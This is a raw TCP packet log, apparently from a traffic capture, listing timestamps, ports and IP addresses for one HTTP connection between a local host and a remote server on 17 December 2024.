Dec 17, 2024 03:51:59.120362997 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.120377064 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.120438099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.125833035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.125910997 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.126117945 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.126182079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.131405115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.131478071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.131556034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.131751060 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.136981964 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.137059927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.137152910 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.137316942 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.142529011 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.142647982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.142715931 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.142715931 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.148116112 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.148220062 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.148308992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.148308992 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.153731108 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.153812885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.153822899 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.153872013 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.159369946 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.159380913 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.159446955 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.164896965 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.164967060 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.165085077 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.165136099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.170522928 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.170533895 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.170589924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.176042080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.176095963 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.176105022 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.176139116 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.181626081 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.181694984 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.181776047 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.181823015 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.187223911 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.187297106 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.187360048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.187410116 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.192744017 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.192816973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.192960978 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.193016052 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.198506117 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.198556900 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.198575974 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.198611021 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.202425957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.202501059 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.202604055 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.202668905 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.206463099 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.206533909 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.206660986 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.206712008 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.210711956 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.210747957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.210766077 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.210800886 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.214756012 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.214790106 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.214827061 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.214827061 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.218574047 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.218651056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.218662977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.218722105 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.222614050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.222652912 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.222712040 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.222712040 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.226195097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.226269960 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.226300955 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.226355076 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.229914904 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.229990959 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.230015993 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.230063915 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.233510971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.233578920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.233740091 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.233799934 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.237185001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.237236977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.237238884 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.237286091 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.314090014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.314183950 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.314284086 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.314349890 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.315181971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.315239906 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.315280914 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.315349102 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.318069935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.318104982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.318128109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.318161964 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.319529057 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.319586039 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.319612026 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.319668055 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.321676970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.321738005 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.321875095 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.321929932 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.324112892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.324146986 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.324192047 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.324225903 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.326004028 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.326073885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.326162100 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.326212883 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.328166962 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.328239918 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.328314066 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.328371048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.330358028 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.330390930 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.330425024 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.330457926 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.332387924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.332459927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.332552910 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.332621098 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.334492922 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.334527016 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.334549904 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.334575891 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.336472034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.336533070 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.336580992 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.336632013 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.339143991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.339178085 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.339238882 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.339238882 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.341303110 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.341336966 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.341365099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.341392994 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.342565060 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.342626095 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.342667103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.342720032 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.344542980 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.344602108 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.344688892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.344746113 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.346596003 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.346647978 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.346659899 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.346693039 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.348514080 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.348572969 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.348644972 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.348712921 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.350994110 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.351027966 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.351056099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.351097107 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.352379084 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.352447033 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.352518082 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.352583885 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.354316950 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.354381084 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.354432106 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.354490042 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.356395006 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.356405973 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.356450081 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.356484890 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.358206034 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.358223915 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.358253956 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.358285904 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.360007048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.360059977 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.360204935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.360255003 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.361881971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.361938953 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.361978054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.362029076 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.363720894 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.363770008 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.364084005 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.364134073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.365673065 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.365721941 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.365864038 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.366125107 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.367626905 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.367638111 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.369354963 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.369421959 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.371361017 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.371371031 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.373030901 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.373280048 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.374996901 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.375005960 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.376724958 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.376950979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.378609896 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.378887892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.380485058 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.380640030 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.382297993 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.382369995 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.382414103 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.382453918 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.382514000 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.384387970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.384439945 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.384447098 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.384481907 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.386059046 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.386116982 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.386178970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.386234999 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.387969971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.388037920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.388124943 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.388184071 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.389936924 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.390032053 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.390047073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.390074968 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.391652107 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.391727924 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.391860008 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.391916990 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.393481970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.393548965 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.393621922 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.393671989 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.395395041 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.395447016 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.395452976 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.395494938 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.397552967 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.397587061 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.397623062 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.397655964 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.399224997 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.399259090 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.399281979 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.399326086 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.400895119 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.400954962 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.401062012 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.401346922 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.402863026 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.402896881 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.403208017 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.514647007 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.514684916 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.514722109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.514802933 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.515096903 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.515155077 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.515165091 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.515214920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.516356945 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.516416073 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.516489983 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.516544104 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.517910957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.517961979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.517980099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.518013000 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.518966913 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.519026041 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.519160032 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.519215107 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.520250082 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.520308971 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.520421982 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.520481110 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.521534920 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.521598101 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.521752119 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.521805048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.522860050 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.522912979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.522917986 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.522962093 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.524070024 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.524122000 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.524207115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.524260998 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.525444984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.525479078 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.525504112 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.525532007 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.526590109 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.526648998 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.526674986 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.526726961 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.527798891 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.527857065 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.527918100 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.527972937 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.529056072 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.529109955 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.529194117 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.529259920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.530282974 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.530340910 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.530349016 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.530400991 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.531513929 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.531563044 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.531606913 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.531662941 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.532752037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.532809019 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.532960892 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.533015013 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.534043074 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.534100056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.534142971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.534199953 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.535222054 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.535274029 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.535375118 CET	80	49730	192.3.220.6	192.168.2.4
